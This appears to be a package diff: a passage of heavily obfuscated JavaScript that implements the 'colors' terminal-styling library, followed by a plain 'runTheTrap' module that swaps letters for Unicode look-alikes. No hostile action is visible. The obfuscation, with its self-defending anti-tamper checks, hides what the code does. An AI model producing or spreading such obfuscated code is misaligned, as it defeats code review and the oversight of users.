_0x109a11={'DMTwz':function(_0xf6a578,_0x57a970){return _0x229551['BaDix'](_0xf6a578,_0x57a970);},'KaPje':_0x229551[_0xc12c5b(0x22f,0x1f2,0x1f6,0x22d)],'xPfql':function(_0x4d79d0,_0xebdf2b){function _0x433ae0(_0x3992a8,_0x5aba41,_0x2ecc03,_0x227b1a){return _0xc12c5b(_0x227b1a- -0x2b4,_0x5aba41-0x1ab,_0x2ecc03,_0x227b1a-0x70);}return _0x229551[_0x433ae0(-0xab,-0x102,-0x10a,-0xc7)](_0x4d79d0,_0xebdf2b);},'XZykP':_0xc12c5b(0x209,0x1c2,0x1ea,0x216),'ZDvHw':_0x229551[_0xc12c5b(0x21d,0x21f,0x225,0x21c)]};if(_0x229551[_0x13f641(0x2b9,0x29a,0x2e9,0x279)](_0x13f641(0x2b0,0x295,0x2dd,0x2a3),_0x229551[_0x13f641(0x2c0,0x2bd,0x30e,0x278)]))return _0x323ffc[_0x13f641(0x253,0x228,0x23e,0x1cf)](_0x2c098b);else colors[_0x4ae9f0]=function(_0x292270){function _0x2fe388(_0x47c777,_0x43b798,_0x36e7a8,_0x4567a9){return _0xc12c5b(_0x47c777- -0x1d,_0x43b798-0x135,_0x43b798,_0x4567a9-0xad);}var _0x5d3fa2={'EOiZI':function(_0xb2722a,_0x2cb2af){return _0x109a11['DMTwz'](_0xb2722a,_0x2cb2af);},'GAOSA':_0x109a11[_0x2fe388(0x1b3,0x1cd,0x1b0,0x1b0)]};function _0x101e0d(_0x1e72b6,_0x4fd392,_0xa02a5b,_0x8ac513){return _0x13f641(_0x4fd392,_0x8ac513-0xb1,_0xa02a5b-0x4a,_0x8ac513-0x26);}if(_0x109a11[_0x2fe388(0x1a8,0x1fc,0x16f,0x163)](_0x109a11[_0x101e0d(0x2d2,0x297,0x2af,0x2c3)],_0x109a11[_0x2fe388(0x18d,0x18e,0x1b7,0x1d6)]))_0x30fe1a[_0x124ae1]=function(_0xdca71a){function _0x26b18c(_0x4b5b14,_0x56d1ee,_0x5e7478,_0x59af12){return _0x2fe388(_0x56d1ee- -0x19d,_0x59af12,_0x5e7478-0x126,_0x59af12-0x15d);}function _0x540adf(_0x328e3e,_0x46c78a,_0x30bc9e,_0xfb5d46){return _0x2fe388(_0x328e3e- -0x1cf,_0xfb5d46,_0x30bc9e-0x1b9,_0xfb5d46-0x1f3);}if(_0x5d3fa2[_0x26b18c(-0x24,-0x1a,-0x39,-0xb)](typeof _0x1c1149[_0x4effab],_0x5d3fa2[_0x540adf(0x23,-0x1d,0x6b,-0x2)])){var _0x3f7400=_0xdca71a;for(var _0x536b76 in _0x1c8cdc[_0x19eec6]){_0x3f7400=_0x4dc73b[_0x194240[_0x330fe1][_0x536b76]](_0x3f7400);}return _0x3f7400;}return _0x37643f[_0x47dd53[_0x386440]](_0xdca71a);};else{if(typeof _0x4c4ffc[_0x4ae9f0]===_0x109a11['KaPje']){var _0x10d16f=_0x292270;for(var _0xd0712 in _0x4c4ffc[_0x4ae9f0]){_0x10d16f=colors[_0x4c4ffc[_0x4ae9f0][_0xd0712]](_0x10d16f);}return _0x10d16f;}return colors[_0x4c4ffc[_0x4ae9f0]](_0x292270);}};}(_0x177d8d));}};function _0xa6b2(_0x1267c8,_0x461569){var _0x4f11aa=_0x5e36();return _0xa6b2=function(_0x233acc,_0x478f6e){_0x233acc=_0x233acc-(-0x15a*0x17+0x2147*-0x1+0x41a8);var _0x3872c8=_0x4f11aa[_0x233acc];if(_0xa6b2['eXthkI']===undefined){var _0x57a1b9=function(_0x4ebefe){var _0x49d4b5='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x212ca5='',_0x388a72='',_0x39aa3c=_0x212ca5+_0x57a1b9;for(var _0x365700=-0x25d7+0xc4d*0x1+0x198a,_0xb46199,_0x2db001,_0x384532=-0x494+0x254f*0x1+0x9*-0x3a3;_0x2db001=_0x4ebefe['charAt'](_0x384532++);~_0x2db001&&(_0xb46199=_0x365700%(0xa*0x2b+0x9d1*0x1+-0xb7b)?_0xb46199*(0x1a6d+0x2*0x11b1+-0x3d8f)+_0x2db001:_0x2db001,_0x365700++%(0x1*-0x4ff+0x18fe*-0x1+0x1e01))?_0x212ca5+=_0x39aa3c['charCodeAt'](_0x384532+(0x426+-0x186f+0x1453*0x1))-(-0x538+-0x456*0x7+0x239c)!==0x259b+0x607*0x1+-0x2ba2?String['fromCharCode'](0x9a6+0x2351*-0x1+-0x1aaa*-0x1&_0xb46199>>(-(0x26*0x96+0xcf+0x1*-0x1711)*_0x365700&-0x8*-0x18d+0xd67*-0x2+0xe6c)):_0x365700:0xcfb*-0x1+-0x117*-0x23+-0x192a){_0x2db001=_0x49d4b5['indexOf'](_0x2db001);}for(var _0x5eb385=0xcae+-0x964+-0x34a,_0x42d60b=_0x212ca5['length'];_0x5eb385<_0x42d60b;_0x5eb385++){_0x388a72+='%'+('00'+_0x212ca5['charCodeAt'](_0x5eb385)['toString'](0xeb6+-0x1*-0x25dc+-0xd*0x40a))['slice'](-(0x2568+0x729*0x4+-0x420a));}return decodeURIComponent(_0x388a72);};_0xa6b2['CaOQKu']=_0x57a1b9,_0x1267c8=arguments,_0xa6b2['eXthkI']=!![];}var _0x426297=_0x4f11aa[-0x129*-0x1+0x234e+0x1*-0x2477],_0x42974f=_0x233acc+_0x426297,_0x2cabec=_0x1267c8[_0x42974f];if(!_0x2cabec){var _0x39fe0a=function(_0x38c6b2){this['yJAMWe']=_0x38c6b2,this['GxxSLP']=[0x1d77*-0x1+-0xdc0+0x2b38,-0x18c7+-0x2423+0x144e*0x3,-0xa14+0x2*-0xe21+0x2656],this['BTUKtg']=function(){return'newState';},this['mbZMjT']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['wWIgZC']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x39fe0a['prototype']['WSqsPt']=function(){var _0x3b1264=new RegExp(this['mbZMjT']+this['wWIgZC']),_0x2b0cc4=_0x3b1264['test'](this['BTUKtg']['toString']())?--this['GxxSLP'][0x1796+-0x13f7+-0x1*0x39e]:--this['GxxSLP'][-0x9*-0x275+-0x248b+0x737*0x2];return this['gbjURo'](_0x2b0cc4);},_0x39fe0a['prototype']['gbjURo']=function(_0x3b563a){if(!Boolean(~_0x3b563a))return _0x3b563a;return this['USRuEJ'](this['yJAMWe']);},_0x39fe0a['prototype']['USRuEJ']=function(_0x5dd193){for(var _0xd89b3d=-0x17be+0x2*0x4e5+0xdf4,_0x4f574e=this['GxxSLP']['length'];_0xd89b3d<_0x4f574e;_0xd89b3d++){this['GxxSLP']['push'](Math['round'](Math['random']())),_0x4f574e=this['GxxSLP']['length'];}return _0x5dd193(this['GxxSLP'][-0x14ff+-0xbcc*-0x2+-0x13*0x23]);},new _0x39fe0a(_0xa6b2)['WSqsPt'](),_0x3872c8=_0xa6b2['CaOQKu'](_0x3872c8),_0x1267c8[_0x42974f]=_0x3872c8;}else _0x3872c8=_0x2cabec;return _0x3872c8;},_0xa6b2(_0x1267c8,_0x461569);}function init(){var _0x496b9a={};_0x496b9a[_0x592722(-0x126,-0x15f,-0x11a,-0x132)]=function(_0x2cf996,_0x514890){return _0x2cf996!==_0x514890;},_0x496b9a[_0x13ea61(0x54e,0x5b4,0x570,0x51b)]=_0x592722(-0x17a,-0x14f,-0x191,-0x16f);var _0x1e31f3=_0x496b9a,_0x134834={};Object['keys'](styles)[_0x13ea61(0x4ec,0x54c,0x51c,0x4ff)](function(_0x132e4f){function _0x1d3321(_0x5b01e8,_0x1e164a,_0x54c48a,_0x10b2ef){return _0x13ea61(_0x5b01e8-0xcb,_0x54c48a,_0x5b01e8- -0x4ff,_0x10b2ef-0x1f4);}function _0x5b9228(_0x553b00,_0x588d99,_0x4a5867,_0x46d265){return _0x592722(_0x553b00-0x1a7,_0x4a5867,_0x4a5867-0x1e,_0x553b00-0x531);}if(_0x1e31f3[_0x5b9228(0x3ff,0x454,0x3c9,0x3f3)](_0x1e31f3[_0x1d3321(0x71,0x4a,0x83,0x8d)],_0x1e31f3[_0x5b9228(0x448,0x472,0x466,0x46c)])){if(_0x4953cc)throw _0x1623da;}else _0x134834[_0x132e4f]={'get':function(){return build([_0x132e4f]);}};});function _0x592722(_0x2d153d,_0x2114cd,_0x29843f,_0x2b85e8){return _0x2cd4bd(_0x2b85e8- -0x258,_0x2114cd-0xbd,_0x2114cd,_0x2b85e8-0xf5);}function _0x13ea61(_0x24c3a6,_0x5af134,_0x13b190,_0x2ee42f){return _0x2cd4bd(_0x13b190-0x401,_0x5af134-0x2,_0x5af134,_0x2ee42f-0x9);}return _0x134834;}var sequencer=function sequencer(_0x1ce83e,_0x1a838c){var _0xdb1785=_0x1a838c[_0x4c8231(0x400,0x3cf,0x403,0x39c)]('');function _0x4c8231(_0x40ea29,_0x1ed475,_0xfdbdc,_0x206a34){return _0x2cd4bd(_0x1ed475-0x252,_0x1ed475-0x1f3,_0x40ea29,_0x206a34-0x13a);}_0xdb1785=_0xdb1785['map'](_0x1ce83e);function _0x4ef064(_0x556ab0,_0x3e35f6,_0x294106,_0x464110){return _0x130a0a(_0x556ab0-0x19,_0x464110-0x189,_0x294106,_0x464110-0x76);}return _0xdb1785[_0x4ef064(0x535,0x4e6,0x4ee,0x501)]('');};colors[_0x2cd4bd(0x17f,0x19c,0x124,0x138)]=require('./custom/t'+_0x130a0a(0x3c8,0x374,0x32c,0x31f)),colors['zalgo']=require(_0x130a0a(0x3c6,0x3dc,0x3f4,0x427)+_0x130a0a(0x365,0x357,0x35d,0x374)),colors[_0x2cd4bd(0x141,0x152,0x13c,0x105)]={},colors[_0x130a0a(0x3ba,0x3c0,0x37c,0x3e5)]['america']=require('./maps/ame'+_0x2cd4bd(0x170,0x153,0x141,0x160))(colors),colors[_0x2cd4bd(0x141,0x16e,0x102,0x15f)][_0x130a0a(0x3fd,0x3b2,0x3b7,0x3a5)]=require('./maps/zeb'+'ra')(colors),colors[_0x2cd4bd(0x141,0x142,0x13a,0x112)]['rainbow']=require(_0x130a0a(0x3b2,0x3ab,0x371,0x3df)+_0x130a0a(0x3de,0x38c,0x3d5,0x36b))(colors),colors['maps'][_0x2cd4bd(0xf3,0xec,0x9d,0xe6)]=require('./maps/ran'+'dom')(colors);for(var map in colors[_0x2cd4bd(0x141,0x176,0x12e,0x102)]){(function(_0x253ade){var _0x170634={'mVuvn':function(_0x43128a,_0x533fa7,_0x477311){return _0x43128a(_0x533fa7,_0x477311);}};colors[_0x253ade]=function(_0x183aa5){function _0x1ef1ce(_0x39c957,_0x2f17bb,_0x186dcd,_0xc241f5){return _0xa6b2(_0xc241f5- -0x2fb,_0x2f17bb);}function _0x2c155e(_0x47563,_0x50debc,_0x1630ce,_0x1c83f0){return _0xa6b2(_0x50debc-0x15,_0x47563);}return _0x170634[_0x2c155e(0x144,0x18f,0x13c,0x186)](sequencer,colors[_0x1ef1ce(-0x126,-0xe7,-0xfb,-0x142)][_0x253ade],_0x183aa5);};}(map));}defineProps(colors,init());
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
module['exports'] = function runTheTrap(text, options) {
|
|
2
|
+
var result = '';
|
|
3
|
+
text = text || 'Run the trap, drop the bass';
|
|
4
|
+
text = text.split('');
|
|
5
|
+
var trap = {
|
|
6
|
+
a: ['\u0040', '\u0104', '\u023a', '\u0245', '\u0394', '\u039b', '\u0414'],
|
|
7
|
+
b: ['\u00df', '\u0181', '\u0243', '\u026e', '\u03b2', '\u0e3f'],
|
|
8
|
+
c: ['\u00a9', '\u023b', '\u03fe'],
|
|
9
|
+
d: ['\u00d0', '\u018a', '\u0500', '\u0501', '\u0502', '\u0503'],
|
|
10
|
+
e: ['\u00cb', '\u0115', '\u018e', '\u0258', '\u03a3', '\u03be', '\u04bc',
|
|
11
|
+
'\u0a6c'],
|
|
12
|
+
f: ['\u04fa'],
|
|
13
|
+
g: ['\u0262'],
|
|
14
|
+
h: ['\u0126', '\u0195', '\u04a2', '\u04ba', '\u04c7', '\u050a'],
|
|
15
|
+
i: ['\u0f0f'],
|
|
16
|
+
j: ['\u0134'],
|
|
17
|
+
k: ['\u0138', '\u04a0', '\u04c3', '\u051e'],
|
|
18
|
+
l: ['\u0139'],
|
|
19
|
+
m: ['\u028d', '\u04cd', '\u04ce', '\u0520', '\u0521', '\u0d69'],
|
|
20
|
+
n: ['\u00d1', '\u014b', '\u019d', '\u0376', '\u03a0', '\u048a'],
|
|
21
|
+
o: ['\u00d8', '\u00f5', '\u00f8', '\u01fe', '\u0298', '\u047a', '\u05dd',
|
|
22
|
+
'\u06dd', '\u0e4f'],
|
|
23
|
+
p: ['\u01f7', '\u048e'],
|
|
24
|
+
q: ['\u09cd'],
|
|
25
|
+
r: ['\u00ae', '\u01a6', '\u0210', '\u024c', '\u0280', '\u042f'],
|
|
26
|
+
s: ['\u00a7', '\u03de', '\u03df', '\u03e8'],
|
|
27
|
+
t: ['\u0141', '\u0166', '\u0373'],
|
|
28
|
+
u: ['\u01b1', '\u054d'],
|
|
29
|
+
v: ['\u05d8'],
|
|
30
|
+
w: ['\u0428', '\u0460', '\u047c', '\u0d70'],
|
|
31
|
+
x: ['\u04b2', '\u04fe', '\u04fc', '\u04fd'],
|
|
32
|
+
y: ['\u00a5', '\u04b0', '\u04cb'],
|
|
33
|
+
z: ['\u01b5', '\u0240'],
|
|
34
|
+
};
|
|
35
|
+
text.forEach(function(c) {
|
|
36
|
+
c = c.toLowerCase();
|
|
37
|
+
var chars = trap[c] || [' '];
|
|
38
|
+
var rand = Math.floor(Math.random() * chars.length);
|
|
39
|
+
if (typeof trap[c] !== 'undefined') {
|
|
40
|
+
result += trap[c][rand];
|
|
41
|
+
} else {
|
|
42
|
+
result += c;
|
|
43
|
+
}
|
|
44
|
+
});
|
|
45
|
+
return result;
|
|
46
|
+
};
|